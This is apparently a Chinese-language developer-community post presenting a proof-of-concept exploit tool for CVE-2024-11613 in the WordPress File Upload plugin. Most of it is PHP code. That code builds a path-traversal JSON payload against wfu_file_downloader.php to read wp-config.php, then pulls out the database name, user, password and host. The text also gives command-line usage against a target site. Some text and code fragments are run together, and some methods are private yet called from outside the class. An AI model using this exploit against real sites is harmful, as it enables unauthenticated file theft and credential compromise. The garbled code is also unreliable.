
本项目是一个专门针对 WordPress File Upload 插件(版本 ≤ 4.24.15)中存在的 CVE-2024-11613 漏洞的概念验证(PoC)与利用工具。该漏洞允许未经身份验证的攻击者通过 wfu_file_downloader.php 文件中的路径遍历缺陷,实现远程代码执行、任意文件读取和任意文件删除等危险操作。本工具由安全研究员 Chirag Artani 开发,旨在帮助安全专业人员评估 WordPress 站点的安全性。
htdocs 目录并通过浏览器访问。通过命令行执行 PHP 脚本,指定目标 WordPress 站点的基础 URL:
php exploit.php http://target-wordpress-site.comwfu_file_downloader.php 发送特制请求<?php
// 创建漏洞利用实例
$exploit = new WFUExploit('http://example.com');
$payload = $exploit->createPayload('../../../../wp-config.php', '/var/www/html/');
$response = $exploit->sendExploit($payload);
echo $exploit->extractContent($response);
?>class WFUExploit {
private $plugin_url;
private $wordpress_url;
private $output = '';
/**
* 初始化漏洞利用对象
* @param string $wordpress_url 目标 WordPress 站点的根 URL
*/
public function __construct($wordpress_url) {
$this->wordpress_url = rtrim($wordpress_url, '/');
$this->plugin_url = $this->wordpress_url . '/wp-content/plugins/wp-file-upload/wfu_file_downloader.php';
}
}/**
* 创建用于路径遍历的 JSON payload
* @param string $target_file 要读取/删除的目标文件路径
* @param string $abspath WordPress ABSPATH 变量(用于构造路径)
* @return string 编码后的 JSON 字符串
*/
private function createPayload($target_file, $abspath) {
return json_encode([
'type' => 'normal',
'ticket' => 'ABC123', // 硬编码 ticket 值,插件未充分验证
'filepath' => $target_file, // 用户可控的文件路径
'handler' => '',
'expire' => time() + 3600,
'wfu_ABSPATH' => $abspath, // 注入的 ABSPATH 值,影响路径解析
'wfu_browser_downloadfile_notexist' => 'File not found',
'wfu_browser_downloadfile_failed' => 'Download failed'
], JSON_UNESCAPED_SLASHES); // 保留斜杠以支持路径遍历
}/**
* 从 wp-config.php 内容中提取数据库配置
* @param string $content 配置文件内容
* @return array 包含数据库名称、用户、密码、主机和表前缀的关联数组
*/
private function parseWPConfig($content) {
$config = [];
$patterns = [
'DB_NAME' => "/define\(\s*'DB_NAME',\s*'([^']+)'\s*\)/",
'DB_USER' => "/define\(\s*'DB_USER',\s*'([^']+)'\s*\)/",
'DB_PASSWORD' => "/define\(\s*'DB_PASSWORD',\s*'([^']+)'\s*\)/",
'DB_HOST' => "/define\(\s*'DB_HOST',\s*'([^']+)'\s*\)/",
'TABLE_PREFIX' => "/\\\$table_prefix\s*=\s*'([^']+)'/"
];
foreach ($patterns as $key => $pattern) {
preg_match($pattern, $content, $matches);
$config[$key] = isset($matches[1]) ? $matches[1] : 'Not found';
}
return $config;
}/**
* 从 HTTP 响应中分离出主体内容
* @param string $response 原始 HTTP 响应
* @return string 剥离 HTTP 头后的响应体
*/
private function extractContent($response) {
if (strpos($response, "\r\n\r\n") !== false) {
list($headers, $body) = explode("\r\n\r\n", $response, 2);
return $body; // 返回不含 HTTP 头的纯文件内容
}
return $response;
}原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。